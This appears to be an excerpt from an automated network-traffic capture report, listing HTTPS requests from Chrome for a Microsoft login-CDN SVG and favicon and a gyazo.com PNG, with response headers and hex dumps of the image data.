x-ms-version: 2009-09-19
Content-Length: 3651
Connection: close

2022-05-27 06:46:25 UTC 647 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 
30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 
22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 
39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 
39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 
36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title>
<path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37
.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

14 192.168.2.3 55965 192.229.221.185 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:46:25 UTC 647 OUT GET /16.000.28741.15/images/favicon.ico HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: logincdn.msauth.net

2022-05-27 06:46:25 UTC 651 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ET
ag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 29645287
Cache-Control: public, max-age=31536000
Content-MD5: EuPayFgGHQiAI7K9SOL6lg==
Content-Type: image/x-icon
Date: Fri, 27 May 2022 06:46:25 GMT
Etag: 0x8D8550CE34ABC0E
Last-Modified: Wed, 09 Sep 2020 22:08:31 GMT
Server: ECAcc (frc/8FAE)
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: bd8d7494-201e-0095-47f6-638c49000000
x-ms-version: 2009-09-19
Content-Length: 17174
Connection: close

2022-05-27 06:46:25 UTC 652 IN Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 
28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 
00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 
00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 0
0 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 
22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 
Data Ascii: h(fHH(00h6  =@(A(("P"""""""""""""""""""""""""""""" 333333333333333

2022-05-27 06:46:25 UTC 668 IN Data Raw: 01 80 00 00 01 80 00 28 00 00 00 18 00 00 00 30 00 00 00 01 00 04 00 00 00 00 00 80 01 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 
33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 
33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 
22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 
Data Ascii: (0"P""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 33
3330""""" 333330""""" 333330

Session ID Source IP Source Port Destination IP
Destination
Port

Process

15 192.168.2.3 55967 104.18.36.4 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:46:25 UTC 669 OUT GET /214d89a26f0ac918a09f216a1b0f97b4.png HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: i.gyazo.com

2022-05-27 06:46:25 UTC 669 IN HTTP/1.1 200 OK
Date: Fri, 27 May 2022 06:46:25 GMT
Content-Type: image/png
Content-Length: 372780
Connection: close
CF-Ray: 711ccb19ac939159-FRA
Accept-Ranges: bytes
Access-Control-Allow-Origin: https://gyazo.com
Age: 2175111
Cache-Control: public, max-age=31536000
ETag: "214d"
Expires: Sat, 27 May 2023 06:46:25 GMT
Set-Cookie: Gyazo_cfwoker=i; Secure; HttpOnly; SameSite=None; Expires=Tue, 01 Jan 2030 00:00:00 GMT
Vary: Accept-Encoding
Via: 1.1 google
CF-Cache-Status: HIT
Access-Control-Allow-Credentials: true
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-Cache-Level: ZS
Server: cloudflare
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2022-05-27 06:46:25 UTC 670 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 e1 00 00 05 46 08 06 00 00 00 13 df e2 0e 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 1d 86 
00 00 1d 86 01 5d a2 13 81 00 00 ff a5 49 44 41 54 78 5e ec 9d 05 60 5c c7 d5 85 af c5 cc 60 59 16 98 99 99 19 92 98 12 
87 99 b9 6d 9a 42 4a 69 53 6e 93 72 93 e6 0f 27 0e 33 38 64 88 99 99 19 84 b6 25 59 cc e8 7f ce d5 3e 7b bd 5e cb 92 2
c cb 82 f3 a5 af d6 d2 db b7 6f 66 ee dc 99 39 73 6f 9b 5e 37 bc 78 4a 08 21 84 10 42 08 21 84 10 d2 2a 38 1c 3d 50 4a 3
c 7c 6d 8f 48 63 b2 f7 81 00 09 f4 6c 63 7b 44 08 21 a4 25 f3 c7 79 5b 64 d9 d6 63 b6 47 84 10 42 08 21 84 10 42 08 69 e
9 50 84 47 08 21 84 10 42 08 21 84 b4 22 4e 84 74 94 72 37 4f db 
Data Ascii: PNGIHDRFsRGBgAMAapHYs]IDATx^`\`YmBJiSnr'38d%Y>{^,of9so^7xJ!B!*8=PJ<|mHclc{D!%y[dcGB!BiPG
!B!"Ntr7O

2022-05-27 06:46:25 UTC 671 IN Data Raw: e1 21 e2 f7 b1 f4 02 39 90 94 2d c9 69 f9 52 51 51 29 01 7e 5e e2 eb ed a6 af 57 54 9e 52 3f b3 b8 b4 c2 f8 a0 
ee d2 21 3a 48 7a 74 08 e1 a4 34 21 84 10 42 48 13 84 22 3c 42 08 21 a4 fe 50 84 d7 32 a0 08 8f 10 42 ce 40 11 1e 69 
74 ee bb 7a 80 dc 3c ad a7 78 b9 bb c9 db 0b 76 cb 17 2b 0e 4a d2 89 5c db ab 2d 97 e8 08 7f b9 72 64 27 b9 65 7a 2f f3 
a8 8d 7c b4 64 9f bc f4 e9 56 5d 84 bb 9c 74 6a 1f 24 37 4c ed 66 7b d4 f8 bc f6 c5 2e 15 b1 35 16 3f bb 6b a8 b8 b4 69 
73 c1 09 32 44 35 ec dd 29 4c e2 db 05 48 58 90 b7 a6 18 f6 f0 70 d5 cf 02 a4 0b 2b 2d ab 94 a2 92 0a 39 9e 59 28 87 93 
b2 e5 c8 b1 5c 7d ae a5 10 1b 1f ae 82 c5 da 92 78 34 dd f6 17 21 84 10 42 c8 a5 a3 39 8b f0 4a 8c af b8 3f 21 4b 36 ec 
3e 21 95 55 55 1a 1d bc 53 fb 40 f1 f1 72 13 0f 37 57 7d 
Data Ascii: !9-iRQQ)~^WTR?!:Hzt4!BH"<B!P2B@itz<xv+J\-rd'ez/|dV]tj$7Lf{.5?kis2D5)LHXp+-9Y(\}x4!B9J?!K
6>!UUS@r7W}

2022-05-27 06:46:25 UTC 672 IN Data Raw: db 77 fc 8d e8 24 48 47 9b 9a 5e a0 f5 12 91 f1 f0 5b 5d da 88 b9 6f 85 8d ae aa be d4 78 fb 78 4a 58 78 80 8a 
ee 2a 2b 4f 49 56 66 be e4 64 17 4a 60 50 75 34 96 ba 88 f0 5c 5d 10 4d cf 4b 3c cd e0 ca c3 c3 4d ca cb 29 c4 23 a4 a1 
19 d8 23 c2 f4 bb de 6a 7b 91 fa 1c 51 57 71 44 84 f8 4a 44 b0 b7 74 eb 10 2a 99 b9 25 92 65 8e a6 08 26 5f 3a 99 7e 08 
62 13 88 b8 d3 b3 8a 2f 5a 84 17 1b 15 20 63 06 b4 d7 88 a7 c7 4e 36 6d 3b 8d 88 a1 61 a6 9c 20 0e 2f 32 fd e4 c1 e4 1c 
db 2b 67 d3 c1 bc de bb 73 98 b8 bb bb a8 a0 fe 44 e6 b9 b6 18 11 69 7b 76 0c 31 7d d7 29 1d 70 40 88 77 39 e8 db 25 
5c 02 fd 3c e5 50 4a 0e 45 78 e4 a2 68 8e 22 3c a4 97 45 fb db 97 90 a5 6d 76 50 f7 08 71 81 d3 58 0b f0 3e 7f 5f 0f 15 
d0 1e cf 28 32 76 dc 47 82 fc b9 4b fc 52 02 ff ff eb 55 
Data Ascii: w$HG^[]oxxJXx*+OIVfdJ`Pu4\]MK<M)##j{QWqDJDt*%e&_:~b/Z cN6m;a /2+gsDi{v1})p@w9%\<PJExh"<E
mvPqX>_(2vGKRU

2022-05-27 06:46:25 UTC 674 IN Data Raw: a6 0d 62 dc 31 b4 57 5b db b3 75 03 be 26 22 30 c3 a6 43 74 7b 39 77 8a c3 f7 3d 94 9c 23 1f 2c dc 27 69 59 
45 3a 26 ef 1c 1b ac e3 29 4c 8e 94 95 57 49 ba 79 be bb e9 6b 9a e3 66 23 dc e3 83 49 d9 92 6f ec 69 17 f3 bb 20 66 ae 
ab 70 92 10 42 08 21 ad 03 46 c2 23 84 10 42 ea cf a5 8c 84 87 f5 b9 bd 47 33 65 c5 96 54 59 b1 35 45 fb 6c a4 71 44 44 
a9 fd 89 59 ba b1 10 19 53 00 e6 57 0f a7 e6 e8 86 f6 c3 c9 d9 d2 b9 7d 90 78 78 5c de 80 30 8e 64 e4 14 cb 47 8b 0f 68 
c4 39 ac 65 fb fb 7a 6a b4 b5 a6 00 ee 5f 73 8c 84 87 f5 61 a4 a6 6d e8 c3 2a 17 46 c2 23 e0 fa 29 dd 34 3a 9b 55 3f 02 
7c ab 83 d2 60 bd c4 be de 9c ef d8 7e 20 43 37 66 0f eb 13 a5 42 b4 96 1e 09 0f 54 98 df 87 0c 59 98 8f 8d 0c f1 91 4e 
ed 03 f5 37 63 8e 1d ba 1c 7b b0 2e d6 2e dc 5f ae 18 19 
Data Ascii: b1W[u&"0Ct{9w=#,'iYE:&)LWIykf#Ioi fpB!F#BG3eTY5ElqDDYSW}xx\0dGh9ezj_sam*F#)4:U?|`~ C7fBT
YN7c{.._

2022-05-27 06:46:25 UTC 675 IN Data Raw: 37 75 3f eb 64 9e 2a cf 1d b9 18 11 1e 40 dd af aa aa 12 2f 2f 0f 33 18 72 d5 4e 15 11 f1 9a 02 d7 4c ec a2 42 
26 2c 28 d7 e5 80 03 d4 d8 6d 99 10 47 6a 12 e1 41 c0 31 bc 4f 3b e3 b0 bb c8 4a e3 4b 59 9b 18 e0 c8 8e ea 1f ad 51 
9a 20 80 0b 33 8f 21 f4 82 b0 02 fe 50 61 51 99 46 eb b5 80 3d 45 34 bd 11 c6 f9 c7 84 09 a2 20 41 94 85 e8 6d e8 43 82 
02 3c 55 10 06 a1 3a c4 6e 78 7d a4 f1 e1 10 51 16 a2 2f 1c 9d cc b9 21 ca c3 e0 01 11 dc ec ed f0 c8 be d1 3a 20 c6 80 
03 1b 14 2c 26 0e 89 53 41 18 76 bc 60 a2 a4 7b 7c 88 46 b8 8b 6b 17 28 dd 30 99 12 e5 af e9 e1 d1 b7 c1 c6 43 fc 35 
a0 7b a4 84 05 79 a9 53 ee 61 6c 4d 84 f1 1d 21 16 83 38 24 f1 44 5e 83 fa 8f 0d 05 ec 21 ae 17 76 05 e3 05 ec fc 29 29 
ad 2e 2b f4 df b8 8f 28 cb 9d 07 ab 37 25 58 61 b6 8f 67 16 
Data Ascii: 7u?d*@//3rNLB&,(mGjA1O;JKYQ 3!PaQF=E4 AmC<U:nx}Q/!: ,&SAv`{|Fk(0C5{ySalM!8$D^!v)).+(7%Xag

2022-05-27 06:46:25 UTC 677 IN Data Raw: fb 70 b9 c8 c9 2f 53 bb 01 7f 15 7e 6b 5d c4 76 e8 93 8e 68 3f 93 ac 36 04 36 0c 62 6b 1f 4f 77 9d 44 b1 07 d6 
07 f7 0e fd ca c6 3d 27 64 cb de 34 d9 63 fa 26 d8 10 8c 5f 21 ec 35 e6 47 81 4d db 9b 90 ad fd 10 76 45 22 ad 0c d2 cc 
c0 c6 c1 cf 44 bf 81 09 50 74 89 d9 66 ac 8c fe 6c fd ee e3 7a 0d 88 48 0e ff cd cf 7c 3f 7e 13 ec 9e bd 08 0f d7 bc e3 c0 
49 9d c8 c1 f9 93 8c 9d c3 b9 70 bd cd 55 68 48 08 21 84 90 86 81 22 3c 42 08 21 a4 fe 5c 2a 11 1e c6 fa c8 40 86 39 0b 
6b 4e d3 1e 44 91 b3 04 78 e4 e2 69 ae 22 bc 2d fb d2 35 22 a2 33 10 50 69 dc a0 f6 aa ff c0 3c 24 e6 b5 21 ea 84 1e e5 
d8 c9 42 29 ab 21 a8 0b 32 46 50 84 47 2c 2c 11 1e e6 22 a1 6f aa 2d 43 7a b5 6d f5 22 3c 00 fb 82 75 46 ac f5 21 12 68 
5c db 40 db bf 01 ba 46 e6 e6 d6 46 56 6f 3f 2e db 
Data Ascii: p/S~k]vh?66bkOwD='d4c&_!5GMvE"DPtflzH|?~IpUhH!"<B!\*@9kNDxi"-5"3Pi<$!B)!2FPG,,"o-Czm"<uF
!h\@FFVo?.

2022-05-27 06:46:25 UTC 678 IN Data Raw: a2 c3 43 e1 60 e2 1e 85 85 85 cc 88 50 1f 15 fc 7d b2 f4 90 ec 30 af 63 b1 00 e7 80 08 ec 9a f1 9d 35 f4 21 16 
b2 3f 5d 76 48 3f 83 c5 4c 44 d5 42 a4 17 44 7d 81 18 0e 95 02 11 ab 70 6e 2c 7a e2 fa b0 68 01 f1 1f 16 c2 b1 88 e2 98 
82 cd 1e 44 b6 2b af ac 92 d5 db 8f c9 ba 9d 27 34 5a c0 f6 83 27 55 2c 17 17 55 2d d2 41 c7 8e 54 60 ed c2 aa 73 d5 e7 
15 95 69 74 33 fb f4 91 88 62 83 68 28 09 a9 b9 ba c0 01 d5 ac 46 b1 31 1d 09 22 f4 ed 3b 9a a5 4e c2 8e 43 19 9a da 0c 
8b ba dd 3b 84 a8 68 0f 8b 15 f5 11 2a dd 37 a7 bf fe be ff fb 64 cb 59 e5 62 81 74 b5 f5 89 64 81 32 38 72 2c c7 34 ac 04 
db 33 75 63 d2 90 78 fd 5d 8b 37 24 e8 42 f1 f9 08 32 9d e8 a0 1e 6d 75 11 7c e9 e6 44 73 ff 53 65 f2 b0 0e 1a 4d e7 ef 6f 
af 37 8d 3d 41 0e a5 64 69 44 be 59 63 bb aa 33 
Data Ascii: C`P}0c5!?]vH?LDBD}pn,zhD+'4Z'U,U-AT`sit3bh(F1";NC;h*7dYbtd28r,43ucx]7$B2mu|DsSeMo7=AdiDYc3

2022-05-27 06:46:25 UTC 679 IN Data Raw: b3 ea e7 ab df 83 e7 2f 74 6e 00 81 00 ae 05 22 ca da bc bf b1 71 33 4e 05 16 a2 ea 7b 34 e5 f4 4c b0 13 68 
37 ce ae db fe f0 f6 ac fd 22 af bf af bb 3a b2 68 e7 8e 3b 51 6a 0b d2 3f 2f df 9c 22 7b 13 32 d5 de 4d 1e 1a ab 62 5d 38 
c7 93 87 c6 68 34 4b d4 bd 05 6b 13 d4 fe 5c 2a e1 26 d2 d1 82 32 d8 8a 1a ea 26 a2 d8 e1 b8 58 e0 60 41 7c a7 22 c9 
7a d8 9a 4b c9 f8 81 ed 55 d0 7d be be 05 0b b1 53 87 c5 d5 69 31 9d 90 c6 e2 df ef 6e 91 67 de dc 24 2f 7c b2 43 05 f6 
de de 6e 3a 40 82 7d b3 c7 8a 52 36 7b 5c 27 79 e2 8e 21 e7 1c bd 3a 55 4f 3c 58 ed 00 ff 78 78 b8 6a ff 77 28 b5 e6 b4 
e5 f8 04 da 36 44 61 77 cc ec 75 ce b9 af 99 d8 45 45 db 75 99 00 40 d4 a2 42 33 40 76 26 00 86 5d c4 d3 10 f5 d5 e5 9c 
f5 01 03 a8 9f dc 7e f6 ef b1 8e 3e 5d ce f8 7f f5 05 bf 
Data Ascii: /tn"q3N{4Lh7":h;Qj?/"{2Mb]8h4Kk\*&2&X`A|"zKU}Si1ng$/|Cn:@}R6{\'y!:UO<Xxxjw(6DawuEEu@B3@v&]~>]

2022-05-27 06:46:25 UTC 681 IN Data Raw: cb 3c db f4 61 f0 d5 21 6a 76 bc 8f 6a fa 1c 9e c3 f5 44 85 fb e9 75 db 83 a8 86 f0 fb 9b f2 86 23 42 08 21 84 
10 42 08 21 a4 35 83 6c 53 0f ce ed a7 82 37 cc a7 62 fd 7c de 97 7b 54 58 85 00 32 35 cd 71 5a 20 fb c8 ee a3 99 1a e5 
0e 1b 23 7b 75 0a d3 b9 00 cc 87 60 1d 1d 99 b4 86 f5 6a 7b de b9 1a cc cb 77 88 0e 92 be 5d 22 74 1e 01 9f c3 e7 11 
78 03 9b 0b 6b ca 92 57 57 10 bc 63 44 df 68 e9 68 be 0f 73 c2 d6 77 21 db 1b d6 ad 30 57 dd 94 d6 a1 9b 2a d8 dc f9 d9 
d2 c3 f2 ce b7 fb ab b3 c1 d8 d7 13 f3 67 6e 7e 89 7c b0 f8 80 be 9e 8d 74 c7 ad f0 96 22 ad b2 b3 f5 f4 fa 1e a8 bb 84 9c 
0f d8 57 cc 39 4f 1b 11 57 9d f9 c9 b4 d1 af 56 1d 95 b7 4d 1b 44 40 31 cc df ce 1c d3 51 33 40 35 15 7d 41 b3 52 0a 60 
c7 3c 52 c7 62 41 62 e2 90 18 79 60 6e 5f 79 f4 fa fe 
Data Ascii: <a!jvjDu#B!B!5lS7b|{TX25qZ #{u`j{w]"txkWWcDhhsw!0W*gn~|t"W9OWVMD@1Q3@5}AR`<RbAby`n_y

Timestamp
kBytes
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2022-05-27 06:46:25 UTC 682 IN Data Raw: 30 fe 06 7c 34 44 db b5 fc 16 0b 38 ba d1 11 7e 3a 01 81 41 2b 7c b4 d0 20 6f fd 4e c7 49 09 44 78 6b 1f e9 af 
51 de 6a 0b 42 c2 23 9a 12 1c 70 fb c1 47 b8 b9 4e 44 af f4 36 e7 84 c0 c5 7e 27 a1 f6 e3 a6 8d c2 9f 74 e6 13 36 55 e0 
7f 21 ba 2a 76 46 b6 c5 80 cb f4 35 98 a0 49 77 88 b4 87 d7 d3 4c 1f 04 0f 38 26 c2 5f a3 41 a5 65 15 a9 6d b2 48 3e 91 
af 1b 36 b0 13 b4 b3 f1 31 51 4e f6 e0 fe e9 40 c5 cb 4d 77 87 d6 36 5d 26 d2 db e2 3a b1 23 34 c6 0c 08 e1 07 5b c0 4e 
62 23 09 76 7b 36 9f bb 4e 48 c3 82 f1 1e da df 8a ad 29 3a fe 41 84 73 4c 02 77 6a 1f a8 02 da 15 5b 52 65 fe 8a c3 1a 
e9 ed 6b 44 2d dd 97 66 6c 9b 8b 0c ea 1e 29 d3 47 74 90 fe dd c2 75 5c d7 d4 81 3d c6 b5 0e eb 15 a5 e3 da bd 66 8c 
09 d7 08 26 01 1b 1a 30 46 1f d5 2f 5a 85 7a ce 8e c9 c3 
Data Ascii: 0|4D8~:A+| oNIDxkQjB#pGND6~'t6U!*vF5IwL8&_AemH>61QN@Mw6]&:#4[Nb#v{6NH):AsLwj[RekD-fl)Gtu
\=f&0F/Zz

2022-05-27 06:46:25 UTC 683 IN Data Raw: 4c ba 9b 6b 85 58 cf c3 41 d4 87 c8 5e 58 a8 76 26 f6 ab 2d ff 7d 7f 93 64 e4 14 c9 9c 71 5d 35 ba 9c 33 56 6c 
4d 96 67 de 5c 2f bf 7d 69 a5 cc 5f 79 d0 94 65 86 3a 34 f8 1c 04 73 ef 2e d8 a3 af bd f0 c9 56 d9 79 28 c3 f6 a9 fa 83 fb 
b0 64 53 82 3c fd e6 3a d9 9f 90 a9 79 f2 ef 9e d9 4f 1e be 76 90 dc 75 55 5f 19 d1 27 5a d6 ed 4c 95 a7 e7 ad 93 f5 bb 8f 
9d 15 49 a7 21 18 6e ce 8f fb 81 85 f1 e7 3f da a2 0e 1c 69 5e 60 31 11 c2 93 09 43 62 34 62 25 da 2d 84 72 07 93 10 4d 
aa 61 cb 13 62 50 d4 59 ec ba 69 2c 90 66 12 78 1b bb d5 18 20 2c 37 04 7f e8 3c 1b fa fe 35 04 b0 f7 7b 8d 2d 47 8a 49 
d8 75 94 07 22 13 6e 33 1d bb bd 38 9a 90 e6 c2 81 c4 6c 15 4d 61 17 20 c4 73 50 c9 23 25 22 1c 59 37 17 17 f5 6d 46 f4 
8d d2 03 fe 0c 04 c1 1b f7 a4 d9 3e 5d 3d b9 80 
Data Ascii: LkXA^Xv&-}dq]53VlMg\/}i_ye:4s.Vy(dS<:yOvuU_'ZLI!n?i^`1Cb4b%-rMabPYi,fx ,7<5{-GIu"n38lMa 
sP#%"Y7mF>]=

2022-05-27 06:46:25 UTC 685 IN Data Raw: d4 41 dd 87 e8 15 62 65 44 b1 1c 33 a0 bd 19 9b 05 34 bb a8 76 ce 40 e4 e7 d5 db 8e a9 fd c0 2e f2 50 5b d4 
79 8c 4b 31 7e 82 90 6e 64 bf 76 3a 8e b0 7e 2f ec ec d1 63 b9 f2 d9 d2 83 6a 7b 60 13 30 56 75 33 f6 02 e3 01 88 8b 61 
97 66 8d eb ac e3 e6 22 63 37 30 2e 46 24 7c 9c 3f ae 5d b5 9f 88 49 6f bc 0f e7 45 5f 33 75 58 bc 84 87 78 6b 1f b5 79 
4f 9a 1c 4e cd 91 e1 7d da e9 a6 3c 7b 60 b5 70 7d 48 51 90 70 3c 57 c7 7f 48 9b 0e db 96 96 59 64 c6 e1 25 3a 26 ee 
1e 1f a2 9d 1b d2 02 63 22 fd ca d1 1d cd 98 dc ff 9c 8d 7b 98 13 d8 6e ee 03 d2 e8 42 44 69 d9 3d 42 08 21 84 b4 2e fe 
fc da fa 66 31 9e 24 84 10 42 9a 22 0f 5e db ef ac 00 34 0d 05 32 ea 9d 32 ff 61 9d 1f 3a 03 7b 76 1e 3a 29 4b 37 25 eb 
bc cd dc 49 5d 74 4c 0f 30 e7 f9 bf 0f b7 69 34 7e a4 7f 04 
Data Ascii: AbeD34v@.P[yK1~ndv:~/cj{`0Vu3af"c70.F$|?]IoE_3uXxkyON}<{`p}HQp<WHYd%:&c"{nBDi=B!.f1$B"^422a:
{v:)K7%I]tL0i4~

2022-05-27 06:46:25 UTC 686 IN Data Raw: 51 b2 77 e7 30 dd c8 ed c8 ba 9d c7 75 de 64 84 dd 66 c9 86 04 d7 84 4c 61 cd 85 01 dd 23 4c b9 42 af e1 7c 
6d db f1 b0 ea 08 ee b9 b3 d7 1d 0f 0b f8 89 35 cd a5 93 d6 01 da 25 44 b3 1a 20 c2 49 7d 39 df 61 d5 3b 44 81 c3 da 4a 
6b 02 ed 73 db 81 0c 15 e0 c1 5e d7 16 b4 37 d8 eb a4 b4 7c b5 ab fb 13 b3 74 f3 77 63 af e7 37 8b 48 78 a8 60 98 cf c6 
85 d6 e6 06 a1 3a b6 31 1f c0 bf 78 bf f5 09 d4 53 9c ab ba ba 56 9f cf 8a 90 02 b1 d9 f9 ce af 9f c1 67 6d 8f f1 16 fb c8 2a 
78 5e 1b 81 dd 7b f4 55 f3 7f ce c4 58 d6 f9 f4 ef ea 7f 14 bc 13 6f 77 16 b5 a5 fa f4 67 3e 67 bd 17 9c 7e ce ee b7 5a e8 
e7 6c 6f 70 f6 ba 3d d6 77 d8 fe a7 e8 fb cd ff 35 94 f8 0d 0e c0 3f 7e 38 59 26 0e 8e 97 8c 9c 42 f9 ed 4b ab 8c c3 93 64 
7b b5 e5 33 a2 4f 7b f9 e5 dd 23 24 36 32 50 
Data Ascii: Qw0udfLa#LB|m5%D I}9a;DJks^7|twc7Hx`:1xSVgm*x^{UXowg>g~Zlop=w5?~8Y&BKd{3O{#$62P

2022-05-27 06:46:25 UTC 687 IN Data Raw: fb c4 59 a2 b8 d6 2e c2 43 44 46 38 ce dd e3 43 24 df 94 ed ca 6d a9 e6 3e e5 48 45 33 10 86 36 24 10 cc f9 
07 7a 8b bf bf b7 d6 e3 e2 a2 32 c9 cf 2f 92 b2 d2 ba 47 ad 43 1e 77 4f 2f 77 3d 97 97 b7 bb 9e 2f 3f af 58 53 dd 42 e4 47 
08 21 84 10 52 13 4d 51 84 07 7f 26 f1 44 9e a4 67 15 49 af 4e 61 e2 67 7c 1c 42 08 21 84 10 d2 f2 a1 08 8f 10 42 08 a9 
3f cd 41 84 77 2c a3 40 be 58 7e 58 22 43 7d 24 d8 5c 2b 32 a3 61 1e 28 3b bf 54 92 d3 f2 f5 f1 a0 1e 91 d2 b7 73 b8 78 
7b 9d 11 e9 b5 26 28 c2 23 84 90 33 50 84 47 9a 14 88 26 17 e8 e7 a9 e1 7a 3d dc 5c f5 b1 9b 39 5c 9a 41 4a 5a 38 5c 
10 66 c1 d1 28 ab a8 54 c1 56 6e 61 a9 a6 d8 6c ca 8d 0c bb 33 ba c4 06 cb 98 fe d1 2a 38 4b 3c 9e 27 6b 77 1c 53 c7 11 
b4 66 11 5e 80 a9 8b 53 87 c7 49 7c bb 00 c9 ce 2b 91 c5 
Data Ascii: Y.CDF8C$m>HE36$z2/GCwO/w=/?XSBG!RMQ&DgINag|B!B?Aw,@X~X"C}$\+2a(;Tsx{&(#3PG&z=\
9\AJZ8\f(TVnal3*8K<'kwSf^SI|+

2022-05-27 06:46:25 UTC 689 IN Data Raw: 42 08 21 84 10 42 08 21 f5 80 e9 68 09 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 
90 7a 42 11 1e 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 52 4f 28 c2 23 84 10 42 08 21 84 
10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 ea 49 9b fc bc dc 53 b6 bf 09 21 84 10 42 08 21 84 10 42 08 21 84 1
0 42 08 21 84 10 42 c8 65 a2 aa aa 4a 2a 2a 2a a4 aa b2 52 aa 4e 41 ce 41 49 47 6b c1 a5 8d 8b b8 b8 b8 88 9b bb bb fe 
db 50 9c 32 f5 08 75 aa d2 d4 a9 53 a6 7e 9d 62 9d 22 ad 80 36 56 7b 72 73 13 57 57 57 db b3 97 16 8a f0 08 21 84 10 
42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 2e 33 e5 65 65 52 5a 5a aa 82 a9 53 a7 aa 54 3c 45 5a 0f 6d da b4 d1 
c3 d5 d5 4d 3c bd bc c4 c3 c3 c3 f6 4a fd 41 5d 2a 2d 2d 91 8a f2 72 15 
Data Ascii: B!B!h!B!B!B!B!zB!B!B!B!B!RO(#B!B!B!B!BIS!B!B!B!BeJ***RNAAIGkP2uS~b"6V{rsWWW!B!B!B!B.3eeR
ZZST<EZmM<JA]*--r

2022-05-27 06:46:25 UTC 690 IN Data Raw: f6 0a 21 84 10 42 08 21 84 90 96 c8 e5 14 e1 0d b8 f5 15 f1 70 77 95 df dc 3b 46 a6 0c eb 20 ee 6e 17 37 6f 
65 86 d5 52 51 59 25 95 38 aa 4e e9 38 db a2 7a 7e ac 8d b8 eb da c2 99 ef 99 f7 f5 4e 79 e6 cd 75 fa f7 43 73 07 ca c3 
